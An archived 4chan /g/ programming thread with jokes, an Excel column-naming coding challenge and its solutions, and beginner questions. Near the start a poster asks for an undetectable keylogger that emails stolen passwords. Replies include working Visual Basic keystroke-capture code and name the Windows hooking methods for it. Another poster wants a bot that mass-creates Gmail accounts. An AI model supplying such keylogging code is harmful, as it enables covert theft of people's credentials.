[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
/dpt/ - Daily Programming Thread
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 255
Thread images: 68
File: assburger.jpg (67 KB, 500x511) Image search: [Google]
assburger.jpg
67 KB, 500x511
Previous thread at >>52216265

What are you working on, /g/?
>>
>>52219970
>his language can't shoop da woop da woop
>>
File: qxucpfgodct6ogpyfzqt.jpg (55 KB, 600x800) Image search: [Google]
qxucpfgodct6ogpyfzqt.jpg
55 KB, 600x800
how do i program a undeteacble keylogger in visual basic that logs keystrokes and sends the username and password to my email?
>>
>>52219990
Program to learn, don't learn to program.
>>
File: 1445133759360.jpg (144 KB, 708x664) Image search: [Google]
1445133759360.jpg
144 KB, 708x664
>save backup of project
>accidentally put 2015 instead of 2016 in the filename
>go to fix it
>see a 364 days old file that unironically says the project is mostly finished
>>
>>52219990
That's Yakuza level stuff anon. That program would be illegal in 143 countries.
>>
>>52219990
write an AI to do it or you xD
>>
good thread OP
>>
File: Selection_059.png (47 KB, 960x1052) Image search: [Google]
Selection_059.png
47 KB, 960x1052
Fizzbuzz Of The Christ can't match fizzbuzz.pdf:
\documentclass{article}
\usepackage{luacode}
\begin{document}
\noindent
\luaexec{q = "\\\\"}
\begin{luacode*}
for i = 1, 101 do n = i if i % 3 == 0 and i % 5 == 0 then n = "Fizzbuzz" elseif i % 3 == 0 then n = "Fizz" elseif i % 5 == 0 then n = "Buzz" end
tex.print(n..q) end
\end{luacode*}
\end{document}
>>
>>52219990
But why?
Just write a cute on-screen keyboard with a button that says (and looks for) "login" and "password". Name it On-Screen Key Pro. It would be so in-your-face obvious that it will actually be obscure. And people will use it.
>>
>>52219990
It's easy in python
import keylogger
import emails
>>
>>52219990

Define "undeteacble", Also, why do you want to use visual basic?
>>
>>52220171
Why did the Lord choose a proprietary file type to spread His word when there are so many open source alternatives?
>>
>>52220250
PDF is open source, senpai.
>>
>>52220260
>PDF is open source
TOP KEK. Enjoy your botnet :3
>>
File: 1442047946905.png (285 KB, 1200x1200) Image search: [Google]
1442047946905.png
285 KB, 1200x1200
>>52220260
Reverse engineering a specification doesn't make it opensource
>>
File: Selection_060.png (19 KB, 283x244) Image search: [Google]
Selection_060.png
19 KB, 283x244
>>52220274
Why do you lie?
PDF is an open format, and it always has been. The reference for it is open for everybody to view. That's why there's so many independent PDF readers.
I mean look, even wikipedia agrees with me.
>>
>>52220274
>>52220295
Adobe Acrobat/Reader != PDF. The various PDF formats are ISO standards.
>>
>>52220302
>Open format?
>?
TOP KEK
>>
>>52220316
>being this retarded
I hope for your personal life's sake that you're trolling right now.
>>
>>52219990
Public Partial Class MainForm
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


Public Sub New()
' The Me.InitializeComponent call is required for Windows Forms designer support.
Me.InitializeComponent()

'
' TODO : Add constructor code after InitializeComponents
'
End Sub

Sub Timer1Tick(sender As Object, e As EventArgs)
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class



It can not be detected. funny huh?
This is an easy one, you can make stronger ones too. You'll need a textbox for this though (for testing). Then do whatever the fuck you want with it.
>>
>>52220326
>I hope for your personal life's sake that you're trolling right now.
>you're
TOP KEK.

It's your*
>>
>>52220343
yeah i don't want /g/ users to use wireshark and steal the usernames for themselves
>>
>>52220356
*nods*
>>
>>52220395
>*nods*
TOP KEK

It's nod's*
>>
>>52220409
>TOP KEK
TOP KEK

It's ebin xd*
>>
shit thread
>>
>>52220356
>>52220395
>>52220409
>>52220431

Why should anyone want to have you people represent their company?
>>
>>52220467
as usual.
>>
>>52220586
...what?
>>
>>52220618
>They're*
DREIDLE KEK

Theiyre'r*
>>
D is literally perfect
>>
>>52220653
Can D compile to PDF?
>>
>>52220659
>PDF
>D

The D literally stands for D anon
>>
>>52220672
Well then what to the P and F stand for?
>>
>>52220680
per
fect
>>
>>52220687
Who needs neurotypicality when you can just compile to PDF?
>>
>>52220680
Prefer D Family
>>
>>52220718
He said as his parents disowned him.
>>
>>52220687
I am doubtful that such a thing could ever come to pass.
>>
File: emacs@arch_061.png (373 KB, 2556x1039) Image search: [Google]
emacs@arch_061.png
373 KB, 2556x1039
Why don't you compile your programs to PDF, /dpt/?
>>
>>52220781
Why don't you do something useful with your time?
>>
>>52220807
Such as?
>>
my 64-bit os compiles and links! now if only I could figure out where the linker is placing my multiboot header for grub... (Hint: it's not where it should be)
>>
>>52220833
Finding a job.
>>
>>52220856
But I already have a job.
>>
>>52220849
>almost 2017
>only 64 bits

You better up that to at least 128 if you don't want to be finished & bankrupt by the end of the year.
>>
>>52220870
funny.
>>
>>52220888
To be serious though, have you considered compiling your header to PDF?
>>
i'm starting a startup. who's in ?
>>
>>52219990

In Windows you have to choices:
SetWindowsHookEx + LowLevelKeyboardProc
The problem here is you cant inject 64bit dll into 32bit programs neither on the opposite way.

The best one is a kernel filter driver for the Keyboard driver.
>>
File: 200_s.gif (34 KB, 356x200) Image search: [Google]
200_s.gif
34 KB, 356x200
Why should I use linux for development of windows have as good or better tools, like Visual Studio?
>>
>>52220975
botnet
>>
File: 1450674660389.png (215 KB, 894x894) Image search: [Google]
1450674660389.png
215 KB, 894x894
>>52220975
>Visual Studio
>>
>>52220975
This is your brain.

>Why should I use linux for development of windows have as good or better tools, like Visual Studio?
This is your brain on anime and windows.
>>
>>52220975
everything is available through one command line interface on linux. it's easier in my view but of course it's a matter of perspective.

t. Java EE dev
>>
creating a program in Python that can detect keyinputs. What are the standard libraries for detecting key strokes?
>>
>>52220975
Windows is spying on and potentatially reading every line of code you write
>>
Reminder: in the real world, it's OCAML OR BUST!
>>
Hello my friends, is it cool if I ask you guys some questions regarding school and what I should expect to study outside of school if I want to be successful? Its mostly web dev stuff but that general is perpetually dead and you guys seem like you know more anyways.
>>
>>52220954
I'll make the logo.
>>
>>52221043
import keylogger
>>
>>52220954
>>52221174

I'll be the IDEAS GUY
>>
File: 1450312155897.png (35 KB, 384x384) Image search: [Google]
1450312155897.png
35 KB, 384x384
>>52221224
i want to be the ideas guy
>>
>>52221103
Sure. How old are you right now?
>>
>>52220343

>mfw running this code deletes system32

You can't fool me anon.
>>
>>52221103
>what I should expect to study outside of school if I want to be successful
Common Lisp. It's a very powerful language and it's part of the most illustrious (and one of the oldest) family of programming languages.
>>
>>52221307
Thanks! I just turned 22 in November. I am about 2, maybe 2 and a half years behind in school. I switched majors a bunch and thankfully I'm lucky enough to have a well off family that has supported me trying to find something I want to do. Right now I am in the process of getting the degree I know I want, which deals with design theory, web development, and UX type stuff. There are some other random things like graphic design, digital marketing, etc thrown in there too.

I missed out on registering for the first actual web dev process course so I want to learn some stuff on my own in the meanwhile. I know enough HTML and CSS to be able to make a basic site with basic stuff on it, and I have no formal education on php or javascript but I can usually figure out what I'm trying to do via Google. Are there any good free online courses or maybe a book I could find online to get started with learning more about all of this?Maybe something project based?

I have two friends with the same degree from my school who said finding work wasn't very hard as long as you are committed to learning on your own outside of school and putting together projects outside of what is required in school. They have told me that learning stuff like SQL would be very helpful if I am looking for web dev work, and that if I wanted to work in UX somehow, I would need to have a huge portfolio coming out of school.

I just want to know some things I can learn over my last two years in school that would help me do all this stuff.
>>
>>52221508
So you just turned 12? How cute. Enjoy your ban.
>>
>>52221547
Wow very epic
>>
>>52221307
Not that guy. I'm a 26yo male with a BS in Geophysics.

Is there still time or should I rather just give up on programmingf?
>>
I have a challenge for you, /dpt/.

Microsoft Excel uses a special convention to name its column headers. The first 26 columns use the letters 'A' to 'Z'. Then, Excel names its column headers using two letters, so that the 27th and 28th column are 'AA' and 'AB'. After 'ZZ', Excel uses three letters.

Write a function that takes as input the number of the column, and returns its header. The input will not ask for a column that would be greater than 'ZZZ'.

INPUT SAMPLE:
52
3702


OUTPUT SAMPLE:
For each test case your program must print one line containing the Excel column heading corresponding to the integer in the input.

AZ
ELJ


Here is a larger input sample: http://pastebin.com/4Ec9nssL

This is also known as Column Names on Code Eval: https://www.codeeval.com/open_challenges/197/
>>
>>52221613
"solve my codeeval dpt"
fug off m8.
>>
>>52221625
I already passed this challenge, I just want to see what you guys can come up with. It's just for fun anon, it's not like there's money riding on this.
>>
test
>>
reposting
>>52221666
>You're just being a bitch.I implemented a basic input/output HTTP server in less than a day for my class in pure C++.Object oriented and everything, the files even had the correct MIMETYPE pulled from the Windows Registry.
>>
>>52221613
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv) {
FILE *fp = fopen(argv[1], "r");
char line[7];

while (fgets(line, sizeof(line), fp)) {
int limit = atoi(line);
char container[3] = {'A'-1,'A'-1,'A'-1};

for (int i=0; i<limit; i++) {
if (container[2] == 'Z') {
if (container[1] == 'Z') {
container[0]++;
container[1] = 'A'-1;
container[2] = 'A';
}
container[1]++;
container[2] = 'A';
} else {
container[2]++;
}
}
if (container[0] != 'A'-1) putchar(container[0]);
if (container[1] != 'A'-1) putchar(container[1]);
if (container[2] != 'A'-1) putchar(container[2]);
putchar(10);
}
fclose(fp);
return 0;
}
>>
>>52221674
>
if (container[0] != 'A'-1) putchar(container[0]);
if (container[1] != 'A'-1) putchar(container[1]);
if (container[2] != 'A'-1) putchar(container[2]);
putchar(10);


L M F A O
>>
>>52221613
This is literally just "convert base 10 to base 36"
>>
>>52221685
it's perfect tbqh
>>
>>52221674
Interesting, I had a similar solution.
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

string to_cols(int);

int main(int argc, char *argv[])
{
ifstream file(argv[1]);
string line;

while (getline(file, line)) {
string output = to_cols(stoi(line));

cout << output << endl;
}

file.close();
return 0;
}
string to_cols(int n)
{
int m = n;
int i = 0, alphaCounter = 64;
int nextPlace = 0, nextNextPlace = 0;
string ret;

while (i < m) {
if (alphaCounter > 89 && nextPlace > 24) {
alphaCounter = 64;
nextPlace = 0;
nextNextPlace++;
}

else if (alphaCounter > 89) {
alphaCounter = 64;
nextPlace++;
}

++i;
++alphaCounter;
}

if (nextNextPlace > 0) {
char nnp = '@' + nextNextPlace;
char np = '@' + (nextPlace == 0 ? 1 : nextPlace);
char ac = alphaCounter;
ret.push_back(nnp);
ret.push_back(np);
ret.push_back(ac);
}

else if (nextPlace > 0) {
char np = '@' + nextPlace;
char ac = alphaCounter;
ret.push_back(np);
ret.push_back(ac);
}

else {
ret.push_back((char)alphaCounter);
}

return ret;
}
>>
>>52221726
>>52221674
C is hideous
>>
>>52221763
ur hideous
>>
>>52221763
Well one is C the other is C++, but alright; good contribution.
>>
>>52221782
I make my contributions to society, not some shitty NEET treehouse.
>>
>>52221802
Yet here we are!
>>
File: hqdefault.jpg (32 KB, 480x360) Image search: [Google]
hqdefault.jpg
32 KB, 480x360
>>52221802
>>52221824
>>
        static string ExcelHeader(int column)
{
StringBuilder ret = new StringBuilder("");

while (column > 0)
{
ret.Insert(0, (char)((column % 26)+64));
column /= 26;
}

return ret.ToString();
}


meh.
>>
a program that opens a webpage and fills out gmail forms uiing a random name and password and birthday etc. then allows me to fill out the capcha to make massive gmail accounts
>>
>>52221895
i mean that would b cool to have and stuff
...
>>
File: opti-o.png (661 KB, 568x800) Image search: [Google]
opti-o.png
661 KB, 568x800
Still making my steganography program, are there any methods I should implement?
https://github.com/AlphaDelta/PNG-Mask
>>
File: SfFv0am.png (259 KB, 359x391) Image search: [Google]
SfFv0am.png
259 KB, 359x391
>>52221870
>When his loops starts with a while
>>
>>52221892
/qa/ is just a bunch of redditors whining why 4chan isn't how they want it to be, they complain about /pol/ nonstop. Just ignore them.
>>
Can i make vidya game in D
>>
>>52221918
Why is this bad
>>
>>52222002
It isn't, imo
>>
>>52222002
some people are dumbasses and create while loops that could be handled syntactically better as a for loop.

But that guy is probably just a dumbass.
>>
>>52222002
http://sdtimes.com/nasas-10-rules-developing-safety-critical-code/
>2: All loops must have a fixed upper bound. It must be trivially possible for a checking tool to statically prove that a preset upper bound on the number of iterations of a loop cannot be exceeded. If the loop-bound cannot be proven statically, the rule is considered violated.
>>
>>52222057
>everyone should write code as safe as NASA 100% of the time
I once read a remark about a similar restriction imposed by the air force or something similar to NASA; and that if we all moved as slowly and carefully as them, we wouldn't have anything close to the internet by now
>>
theon greyjoy
>>
>>52221613
>52 -> AZ
Eh what's f(0) supposed to return?
If f(0) maps to A I would expect f(52) to be BA
f(25) would be Z, f(26) start of AA, f(51) AZ, etc.
>>
>>52221613
function f(x)
a = {}
i = 1
while x > 0 do
a[i] = string.char(math.floor((x % 26) + 64)); x = x / 26
i = i + 1
end
for q = 1, #a do print(a[q]) end
end

I tried.
>>
File: cap.png (352 KB, 623x527) Image search: [Google]
cap.png
352 KB, 623x527
Whoever dont program using the 10 rules of Nasa is gay.

>>52222222

GET
>>
/brit/ waheeyyy
>>
>>52222211
You fail at life
>>
>>52221968
No, only in ocaml.
>>
>>52222222
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>>
>>52222222
Awww shit
>>
>>52222222
confirmed
>>
File: 1449707889014.jpg (73 KB, 727x773) Image search: [Google]
1449707889014.jpg
73 KB, 727x773
>>52222221
>>
File: 1202422168359.png (132 KB, 274x238) Image search: [Google]
1202422168359.png
132 KB, 274x238
>>52222222
MOM IM ON THE SCREENSHOT
>>
File: 1451544557926.jpg (49 KB, 500x401) Image search: [Google]
1451544557926.jpg
49 KB, 500x401
>>52222222
>>
>>52222221
fuck me sideways
>>
>>52222222
Oh jeez.
>>
File: 1375826456047.png (319 KB, 425x450) Image search: [Google]
1375826456047.png
319 KB, 425x450
>>52222222
can't argue against those repeating digits
>>
File: 04187.jpg (40 KB, 403x330) Image search: [Google]
04187.jpg
40 KB, 403x330
>>52222222
ooooooooo smooth
>>
>>52222211
>>52222222
BTFO
>>
>>52222222
Nice.
>>
>>52222222
Ehh.
>>
>>52222222
You too
>>
File: image.jpg (20 KB, 290x290) Image search: [Google]
image.jpg
20 KB, 290x290
>>52222222
Killed em pham.
>>
File: emilia checks em.png (119 KB, 348x447) Image search: [Google]
emilia checks em.png
119 KB, 348x447
>>52222222
Unable to deny it, I embrace it
>>
File: 1440718229840.png (8 KB, 500x500) Image search: [Google]
1440718229840.png
8 KB, 500x500
>>52222222
Checked.
>>
File: 1442968425683.jpg (113 KB, 640x636) Image search: [Google]
1442968425683.jpg
113 KB, 640x636
>>52222222
>>
>>52222222
Czechoslovakia
>>
>>52222222
Epic get.
>>
>>52222222
No u
>>
>>52222222
FUCK OFF
>>
File: Black_525e55_1386884.jpg (89 KB, 640x735) Image search: [Google]
Black_525e55_1386884.jpg
89 KB, 640x735
>>52222222
Mamma mia looka ata thosa septsa
>>
File: 1690-2.png (37 KB, 1262x271) Image search: [Google]
1690-2.png
37 KB, 1262x271
>>52222222
This isn't even my first big get
>>
File: 14499838.png (477 KB, 899x674) Image search: [Google]
14499838.png
477 KB, 899x674
>>52222222
>>
File: 1431546996999.png (143 KB, 672x434) Image search: [Google]
1431546996999.png
143 KB, 672x434
>>52222222
septs are what I see
>>
So our general is going to get derailed by retards spamming le funny meme pictures now?
>>
File: IMG_1639.jpg (17 KB, 216x148) Image search: [Google]
IMG_1639.jpg
17 KB, 216x148
>>52222222
>>
>>52222222
ayyy
>>
>>52222359
as opposed to retards just spamming?
>>
>>52222359
yeah
>>
>>52222359
You talk as if this general has any intrinsic value when people don't talk about their projects.
>>
>>52222359
Don't Forget your bracket killjoy.
>>
>>52222135
that's something carmack said in his email about inlining, yeah
>>
>>52222359
hurr durr randumb c++ ballsack .exe

there. better?
>>
File: Trump-Thumbs-Up.jpg (21 KB, 600x441) Image search: [Google]
Trump-Thumbs-Up.jpg
21 KB, 600x441
>>52222222
Nice septs
>>
>>52222308
What the fuck is up with that room?
A window right opposite a mirror with a grand piano in between? Get the fuck out.
>>
>>52222359
>oh no our le epic trap thread is being derailed!
>>
File: 1442616905199.jpg (39 KB, 525x540) Image search: [Google]
1442616905199.jpg
39 KB, 525x540
>>52222222
>>
File: 1450572838735.jpg (30 KB, 357x362) Image search: [Google]
1450572838735.jpg
30 KB, 357x362
>>52222222
>>
>>52222432
But they liberally are.
>>
>>52222222
impressive
>>
>>52222222
I'm >>52222211

You got your septs, but this get will live forever raising awareness of the 10 rules of Nasa.

I won in the end.
>>
>>52222432
this comment is lame and derivative
>>
>>52221870

Err.. nevermind, that doesn't actually work.
>>
File: 1450918246974.jpg (75 KB, 557x336) Image search: [Google]
1450918246974.jpg
75 KB, 557x336
>>
>>52222523
negative numbers are a meme
>>
>>52222523
How about you really commit to your nihilistic approach and kill yourself you waste of space.
>>
>>52222532
This always gets me. The term "Software engineer" is so thrown around is ridiculous.

What is the minimum needed for a person to become a Software Engineer, /g/?
>>
File: th.jpg (15 KB, 287x300) Image search: [Google]
th.jpg
15 KB, 287x300
>>52222222
All deez niggaz commentin on deez septs.
>>
>>52222523
>it's a meme
No shit.

I'd argue that it's not meaningful tho. Repeating digits, especially septs are rare, and we do use decimal numbers, so it make sense to meme about it. And that is what makes gets valuable and meaningful.

Also, did you know you're not special at all? You consist of the exact same atoms that were formed in the big bang. You are as general as it gets.
>>
>>52222222
YOU WIN AT LIFE
>>
>>52222222
i wanna be in the screenshot compilation too!
>>
>>52222523
If you had one less chromosome you wouldn't be retarded, feel happy that you're special
>>
>>52222221
eternal shame
>>
File: 1444494106328.jpg (669 KB, 1000x776) Image search: [Google]
1444494106328.jpg
669 KB, 1000x776
>>52220781
>>52220859
Why do noobs like these have cozy jobs when they get excited over a little latex meanwhile I sleep on the floor?

;______________;

When does the suffering stop I want to get off of this ride.
>>
>>52222871
are you qt? become trap and sell your body
>>
File: 1448781506734.gif (499 KB, 245x240) Image search: [Google]
1448781506734.gif
499 KB, 245x240
>>52222222
>>
>>52222893
This is what we're all here for
>>
>>52222893
you asked this earlier. I'm still wearing a shirt and panties
>>
File: le checking don.png (50 KB, 212x184) Image search: [Google]
le checking don.png
50 KB, 212x184
>>52222222
Nice.
>>
>2012+3+1
>not learning underwater programming
>>
>>52222893
gonna need sauce or more
>>
>>52222947
>2016
>needing to learn underwater programming
git gud, scrub!
>>
>>52222871

You know you don't have to be a computer programmer, right? There are plenty of jobs out there.
>>
File: checkem.jpg (66 KB, 280x232) Image search: [Google]
checkem.jpg
66 KB, 280x232
>>52222222
>>
>>52220781
LaTeX worries me.
As a markup language it's great, but there's too much of it that can be used to execute remote code if a web API like the one used in /sci/ was made.
>>
>>52222960
nigga, you don't just choose the programmer life, it chooses you
>>
File: image.jpg (17 KB, 430x320) Image search: [Google]
image.jpg
17 KB, 430x320
>>52222222
>>
>>52222222
nice quads
>>
>>52222987
>nigga, you don't just choose the programmer life

Yeah, you definitely do. Go do something else like welding or become an electrician. Lots of money in it.
>>
>>52222986
That's why you design your program using tools like Emily to prevent any access beside network, input and output, and a firewall to prevent bad connections.
>>
>>52223011
>welding
>electrician

I'm a girl, I don't have the physical capacity for those jobs
>>
>>52223009
>nice quads
This is for you Anon: https://www.youtube.com/watch?v=dihlSqall3k
>>
>>52223034
Post tits or GTFO
>>
File: 1448871488166.jpg (167 KB, 1001x502) Image search: [Google]
1448871488166.jpg
167 KB, 1001x502
>>52222556
The minimum requirement is that you somehow shoehorn yourself into the position.
That is fucking it, you don't have to be good or anything.
Most people I have met who are software engineers are simply clueless nu-males and autists, and nothing even remotely profound has come out of their mouthes but somehow the academic climate is so formed that it rewards them with career positions simply for being a part of this awful God-forsaken epoch of ours.
>>
>>52223034
>I don't have the physical capacity for those jobs

Plenty of women are welders & electricians.
>>
>>52223034
girls don't exist lying faggot
>>
You faggots are about to get a flashlight up the ass if I don't SEE. SOME. FUCKING. C CODE.
>>
>>52223053
not doubting that, but I'm 5'1 and have almost no muscle mass
>>
File: eee.png (241 KB, 645x363) Image search: [Google]
eee.png
241 KB, 645x363
What are you working on, /dpt/?
>>
File: 35412355_p0.jpg (1 MB, 1729x879) Image search: [Google]
35412355_p0.jpg
1 MB, 1729x879
>>52223085
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <string.h>

static const char *input = "\"comment too long\" but input goes here you get the idea";

static const uint_fast8_t stride = 20, num = 4, mline = 20 - 4;
static uint_fast8_t field[20 * 20];
static inline uint_fast8_t at(uint_fast8_t x, uint_fast8_t y) {
return field[stride * x + y];
}

int main()
{
uint_fast32_t max = 0, prod;
uint_fast16_t length = strlen(input);
uint_fast8_t *p = field;
char copied[length];
memcpy(copied, input, strlen(input));
char *tok = strtok(copied, " \n");

while ((tok = strtok(NULL, " \n")))
*p++ = strtoul(tok, NULL, 10);

for (uint_fast8_t y = 0; y < stride; ++y)
for (uint_fast8_t x = 0; x < stride; ++x)
{
const uint_fast32_t p0 = at(x, y);

if (!p0)
continue;

x <= mline ? max = max > (prod = p0 * at(x + 1, y) * at(x + 2, y) * at(x + 3, y)) ? max : prod : 0;
y <= mline ? max = max > (prod = p0 * at(x, y + 1) * at(x, y + 2) * at(x, y + 3)) ? max : prod : 0;
y <= mline && x <= mline ? max = max > (prod = p0 * at(x + 1, y + 1) * at(x + 2, y + 2) * at(x + 3, y + 3)) ? max : prod : 0;
y < stride && x >= num - 1 ? max = max > (prod = p0 * at(x - 1, y + 1) * at(x - 2, y + 2) * at(x - 3, y + 3)) ? max : prod : 0;
}

printf("%" PRIuFAST32 "\n", max);
}
>>
>>52223109
See >>52221917
>>
>>52223109
Rewriting the linux kernel in OCaml.
>>
>>52223109
I'm writing a lexer in C
>>
>>52223142
Literally reinventing the wheel. Sasuga cfags.
>>
>>52223147
how am I reinventing the wheel?
>>
Rewriting the GNU coreutils in Scratch
>>
File: image.png (284 KB, 500x380) Image search: [Google]
image.png
284 KB, 500x380
>>52222222
FUCKING REKTAGE
>>
>>52223153
There's nothing wrong with reinventing the wheel.
>>
File: wheels.jpg (67 KB, 467x161) Image search: [Google]
wheels.jpg
67 KB, 467x161
>>52223147
I don't like the "reinventing the wheel" meme to be honest.
>>
>>52223091

You could still handle it.
>>
/pol/ is about to get a 60,000,000 get.
>>
>>52223337
If you browse /pol/ you need to leave these threads.
>>
>>52223337
get your scripts ready you cucks
>>
>>52222222
very nice digits
>>
File: 1449540324387.jpg (30 KB, 297x547) Image search: [Google]
1449540324387.jpg
30 KB, 297x547
Anyone here pretty knowledgeable with javascript?
I have a very specific issue, but it has turned into something very irritating to me
If anyone is willing to help, I'll explain further
>>
>>52223345
We're all /pol/ here, anon.
>>
>>52223379
Explain further.
>>
File: where.jpg (13 KB, 318x240) Image search: [Google]
where.jpg
13 KB, 318x240
>>52223345
>>
small = "a" .. "z"
large = "A" .. "Z"
digit = "0" .. "9"
atom = small { small | large | digit }


#define IS_LOWER(x) ((x) >= 'a' && (x) <= 'z')
#define IS_UPPER(x) ((x) >= 'A' && (x) <= 'Z')
#define IS_DIGIT(x) ((x) >= '0' && (x) <= '9')

parse_atom(char *buffer, size_t len)
{
size_t i = 0;

if (i < len && IS_LOWER(buffer[i])) {
do { ++i; } while (i < len && (IS_LOWER(buffer[i]) || IS_UPPER(buffer[i]) || IS_DIGIT(buffer[i])));

// success
} else {
// failure
}
}


I'm new to C, is this code an alright way to parse the BNF I specified? How could I make it better?
>>
File: 1435317768008.jpg (43 KB, 402x480) Image search: [Google]
1435317768008.jpg
43 KB, 402x480
rewriting systemd in brainfuck.
>>
File: example.gif (6 KB, 294x233) Image search: [Google]
example.gif
6 KB, 294x233
>>52223393
Great, thank you.
Currently I have a function for encrypting a string while using a key.
After that its encoded as base64 & returned.

My problem is I didn't write it & I'm not sure how to decrypt the message once it has been encrypted.

I've made a gif of the function being used.
Pic related.

Here is a link to the script, two functions
http://pastebin.com/raw/35UszTy0
Really need to work on decoding.
I understand the script is a bit hard to read, sorry.
>>
File: nyan.webm (516 KB, 1328x742) Image search: [Google]
nyan.webm
516 KB, 1328x742
Anyway on how to make this faster?
>>
File: postgrabber.png (510 KB, 1919x1079) Image search: [Google]
postgrabber.png
510 KB, 1919x1079
just woke up, reposting from this morning.
imagedownloader :^)
>>
>>52223541
How are you getting the image URLs?
>>
>>52223508
kilk ur selft
>>
>>52223553
use regular expressions to get them out of the page source.
>>
>>52223557
haha
the original was heavily obfuscated & "minified", so yeah its ugly & has useless vars, etc

you can ignore all that, i just need to focus on reversing the process
>>
>>52223574
I don't have any small gif with a simple colour pallete. Stop acting like a gaylord.
>>
>>52223582
>>>/global/rules/14

I hope you get banned.
>>
Set of 100 events
If the current event has desired connection to the previous
Add one to result
Finish by dividing result by 100


Is this calculating probability of the event correctly?
>>
>>52223614
>been here since 2005
>Never read the rules
>>
>>52223541
>Enjoy <3

Gay.
>>
>>52223621
No.
Calculating the probability of an event occurring out of a set of events from a sample size of 1 is not statistically relevant.
>>
>>52223647
Having said that, you may be interested in Markov chains.
It's a statistical model using matrices to represent the probability of one state changing to another state.
The model is memoryless, and can be extrapolated using math to derive the probability of every event occurring given some initial state.
>>
>>52223583
>My problem is I didn't write it & I'm not sure how to decrypt the message once it has been encrypted.

As long as this unknown Base64 implementation is correct, just write a standard decryptor. But if you've got some hybrid implementation with a key, I guess you'll just have to reverse it. e.g, inverting bitwise operators. Not really a JavaScript problem, but just reading weird code problem
>>
>>52223110
Literally what the fuck??

>>52223430
Lots of code on a single line.
I'd do

int is_atom_char (char c) {
return IS_LOWER(c) || ...
}

int parse_atom (char* buffer, size_t len) {
if (!is_atom_char(buffer[0])) {
// failure
return 0;
}

size_t i;
for (i = 0; i < len && is_atom_char(buffer[i]); i++)
;
// success
return 1;
}
>>
why hasn't anyone hacked the mods yet? are you all stupid???
>>
>>52223710
There are some errors in your code but I get the idea, thanks.
>>
>>52223679
sorry, I must've confused you
its two steps
first the string is encrypted
THEN its encoded to base64
Im not asking how to encode or decode base64, im asking how to create the decrypt function from this encrypt function
>>
>>52223761
>first the string is encrypted
That is sort of what I was saying. Base64 is indeed not for encryption. I guess your only option like I was saying is to reverse-engineer it. Would probably take a bit of work, would be up to you.
>>
File: 20160104_051722.jpg (584 KB, 2048x1152) Image search: [Google]
20160104_051722.jpg
584 KB, 2048x1152
>tfw complimentary first class travel
Why don't you have a comfy IT job yet /dpt/?

also who else doing hackerrank? codeeval is so dead
>>
>>52223824
>First class

Wow si-

>Train

R-really impressive dude
>>
>>52223824
Why are you travelling at 5am?
>>
>>52223824
>passenger trains
These still exist?
>>
>>52223824
Can a random person end up in front of you? I legit don't think I could ride like that.
>>
>>52223847
Trains are the most efficient mode of mechanized transportation.
>>
>>52223815
well the encrypted string obviously looks like garbage & contains non-standard characters so that is the reason for the base64 encoding

anyway i assumed that it wouldnt be too hard to reverse the encryption process, but i've failed over & over & over now

thanks anyway anon
>>
>>52223833
I get plane rides too family

>>52223841
work

>>52223847
pullin me leg m8
>>
>>52223847
More often than other modes of transport in Europe
>>
>>52223876
Not first class plane rides
>>
>>52223876
>work

But still, how long is your commute/what time do you have to be in at to be travelling at 5am?
>>
why haven't any of you hacked the mods? are you all stupid???
>>
>>52223893
yeah I do m8, but only for work. They're mostly ok with it because I will barely do any work travel

>>52223901
going from London to shrewsbury, I start at 9
>>
>>52222222
Got em boss
>>
>>52223925
Nah m8
>>
>>52223857
Standard class on Pendolino trains have some airline style seats if you freak out at the prospect of human contact.

>>52223925
Why would you live in London if your work is in Shrewsbury? The rent is criminal.
>>
File: 1451000741719.jpg (25 KB, 300x245) Image search: [Google]
1451000741719.jpg
25 KB, 300x245
>>52222222
>>
>>52223954
yeah m8

>>52223969
grew up in london, just visited family for the holidays, I wanted to spend as much time here, so I'm leaving straight for work

btw there were like 5 or 6 prozzies down romford road lads at 4am, just a heads up
>>
File: 325.png (648 KB, 600x450) Image search: [Google]
325.png
648 KB, 600x450
>>52222222
nice
>>
File: 1451248085499.jpg (24 KB, 335x525) Image search: [Google]
1451248085499.jpg
24 KB, 335x525
>>52222222
>>
total noob retard here. i'm stuck on something and i have no idea what is up. can someone check to see if my css is wrong or something? the [alt] link is supposed to only be visible when hovering over the [steam] link, but its not working like it should

does anyone have any idea what i am fucking up here?

http://codepen.io/anon/pen/LGxrbV
>>
File: PB2.jpg (23 KB, 500x385) Image search: [Google]
PB2.jpg
23 KB, 500x385
>>52222222
I'm liking the quads, Halberstam
>>
>>52222222
Shit get
>>
File: doubles2.jpg (42 KB, 1012x433) Image search: [Google]
doubles2.jpg
42 KB, 1012x433
>>52224061
>quads
>>
>>52223508
Don't use the
System.Console
class for things like this, it will push the buffer every time you
Write()
, you'll have to use your own buffer using P/Invoke and WriteConsoleOutput
>>
>>52224046
<div id=steam>
<ul style="list-style-type: none">
<li><a href="steamlink">「steam」</a></li>
<li>
<ul style="list-style-type: none">
<li><a href="steamlink2">「alt」</a></li>
</ul>
</li>
</ul>
</div>


#steam ul li + ul {
visibility: hidden;
}

#steam ul li:hover + ul {
visibility: visible;
}
>>
>>52222871
>sleeping on the floor
>not moving to india and starting your own webshit development firm
>>
Anyone familiar with SFML and CMake here? I have copied their FindSFML module into my cmake project and added the following to my CMakeLists:
# SFML
set(SFML_STATIC_LIBRARIES TRUE)
find_package(SFML COMPONENTS system window audio graphics REQUIRED)
include_directories(${SFML_INCLUDE_DIR})
link_libraries(${SFML_LIBRARIES})


